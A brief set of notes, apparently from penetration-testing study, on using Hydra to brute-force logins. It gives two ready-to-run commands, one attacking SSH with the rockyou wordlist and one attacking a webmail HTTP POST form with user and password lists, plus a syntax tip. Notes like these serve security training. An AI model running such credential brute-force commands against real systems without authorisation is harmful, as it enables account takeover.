GUI can be used for Hydra but find it gives too many false negatives.
hydra -l renu -P /usr/share/wordlists/rockyou.txt ssh://192.168.84.230
hydra 192.168.45.6 http-post-form "/mail:?_task=login_token=Bi1dq97FVg55wYsUeA3KrMJQuilac0e8&_task=login&_action=login&_timezone=America%2FNew_York&_url=_task%3Dlogin&_user=^USER64^&_pass=^PASS64^:Login failed" -L usernames.txt -P fasttrack.txt -V -t 64
When using Hydra HTTP-POST-FORM makes sure you have the three arguments seperated by a colon.
